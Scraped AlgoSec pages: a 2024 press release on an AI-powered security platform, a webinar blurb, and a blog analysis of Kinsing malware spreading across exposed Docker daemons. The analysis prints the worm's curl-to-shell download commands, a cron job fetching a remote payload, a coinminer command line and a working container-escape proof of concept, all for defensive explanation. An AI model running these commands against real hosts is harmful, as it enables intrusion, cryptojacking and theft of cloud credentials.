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Understand the network security policy management lifecycle, from creation to implementation and continuous review, ensuring optimal network protection and compliance. The network security policy management lifecycle ---- ------- Schedule a Demo Select a size ----- Get the latest insights from the experts Choose a better way to manage your network

The new release deploys advanced AI for fast and accurate application discovery, provides clear visualization and mapping of application connectivity and potential security risks in complex hybrid environments AlgoSec launches its AI-powered Security Platform, to securely manage application-centric connectivity and remediate risk in real time The new release deploys advanced AI for fast and accurate application discovery, provides clear visualization and mapping of application connectivity and potential security risks in complex hybrid environments September 25, 2024 Speak to one of our experts RIDGEFIELD PARK, NJ, September 25, 2024 – Global cybersecurity leader AlgoSec has launched its newest Security Management platform version, featuring advanced artificial intelligence (AI) technology that provides an application-centric security approach and a clearer picture of risks and their impact. With this new release, the AlgoSec platform enables users to accurately identify the business applications running in their complex hybrid network, and leverage intelligent change automation to streamline security change processes, thus improving security and agility. “Security professionals are overwhelmed with a barrage of alerts that provide no context between critical threats and minor issues,” said Eran Shiff , VP Product of AlgoSec. “By mapping applications, security teams can understand their criticality, automate changes and prioritize alerts that truly matter, saving countless hours through automation.” Gartner predicts that by 2027, 50 percent of critical enterprise applications will reside outside of centralized public cloud locations, underscoring the complexity that network infrastructures face. Today’s networks are 100 times more complex than they were 10 years ago, and the pace of deployment and development at which security teams are expected to work is 100 times faster. AI-powered application discovery enhances a security team’s ability to detect and respond to threats in real-time. An application-centric approach automates change management processes, identifies security risks and mitigates risks before they impact the network infrastructure. “In today’s evolving cyber landscape, it’s essential that we rapidly identify and prioritize threats as they occur,” said Robert Eldridge, Security Solutions Director of Natilik. “AlgoSec’s AI-powered platform helps us deliver proactive network visibility and risk mitigation to our clients, keeping them ahead of potential threats”. Securing hybrid infrastructures relies on four pillars that are essential to AlgoSec’s platform update: ● AI-driven application discovery – Advanced AI feature designed to automatically discover and identify the business applications that are running by correlating them to security changes that have been made. ● Intelligent and automated application connectivity change – New enhancements allow security professionals to directly adjust existing Microsoft Azure firewall rules for new application connections. Additionally, there’s added support for application awareness in Check Point R80+ firewalls. ● Reduce risk exposure and minimize attack surface – New features focus on tightening security posture and minimizing potential vulnerabilities. It streamlines Microsoft Azure Firewall rule management by identifying and recommending the removal of unused rules. It reduces risk exposure by automatically generating change management tickets to eliminate overly permissive rules. Additionally, it ensures compliance with the latest ASD-ISM regulations. ● Better visibility across complex hybrid networks – AlgoSec has enriched its capabilities to support visibility of network security devices including: NSX-T Gateway Firewall, Azure Load Balancer, and Google Cloud map and traffic path (in early availability). To learn more about updates to the AlgoSec Security Management platform, click here . AlgoSec will demonstrate the key capabilities of release A33 during its upcoming annual AlgoSummit user event. To register, click here . About AlgoSec AlgoSec, a global cybersecurity leader, empowers organizations to secure application connectivity and cloud-native applications throughout their multi-cloud and hybrid network. Trusted by more than 1,800 of the world’s leading organizations, AlgoSec’s application-centric approach enables secure acceleration of business application deployment by centrally managing application connectivity and security policies across the public clouds, private clouds, containers, and on-premises networks. Using its unique vendor-agnostic deep algorithm for intelligent change management automation, AlgoSec enables the acceleration of digital transformation projects, helps prevent business application downtime, and substantially reduces manual work and exposure to security risks. AlgoSec’s policy management and CNAPP platforms provide a single source for visibility into security and compliance issues within cloud-native applications as well as across the hybrid network environment, to ensure ongoing adherence to internet security standards, industry, and internal regulations. Learn how AlgoSec enables application owners, information security experts, DevSecOps, and cloud security teams to deploy business applications up to 10 times faster while maintaining security at https://www.algosec.com .  MEDIA CONTACT: Megan Davis Alloy, on behalf of AlgoSec [email protected]

Cisco and AlgoSec Partner solution brief- Better together for network segmentation Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

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Learn how to manage security policies across AWS, Azure, GCP, and on-premises firewalls with visibility, governance, cleanup, and audit-ready evidence. How to manage security policies across AWS, Azure, GCP, and on-premises firewalls ---- ------- Schedule a Demo Select a size ----- Get the latest insights from the experts Choose a better way to manage your network

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Webinars Network Security Vision with Application Visibility | Live discussion and demo You’re always making changes to your network, commissioning and decommissioning servers, moving data to and from the cloud, revising application connectivity settings and policies, and/or adding and removing business applications. But how do you make sure that you are not running blind and making network configuration mistakes that may lead to outages? Are you leaving firewall openings for unused applications, making your network vulnerable to insider threats or outside attackers? Stop running blind. Expand your vision with application visibility. With application visibility, you associate your traffic flows to the related business applications, enhance network visibility, improve troubleshooting, gain enhanced compliance reports, and even save time while improving security on your network. In this webinar, Avishai Wool, AlgoSec’s co-founder and CTO, and Yoni Geva, AlgoSec’s Product Manager, will demonstrate – in a live demo – how to overcome these challenges and ensure business continuity through application visibility. Join the webinar and learn how to: Associate your business applications with your security policy rules. Identify the network traffic relevant for each application. Identify hidden risks and vulnerabilities in your applications. Associate compliance violations with relevant business applications. Improve troubleshooting by identifying affected applications. Better document the applications on your network. March 5, 2020 Prof. Avishai Wool CTO & Co Founder AlgoSec Yoni Geva Product Manager Relevant resources Adopting an application-centric approach to security management: getting business leaders interested Keep Reading The Need for Application-Centric Security Policy Management Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

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We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call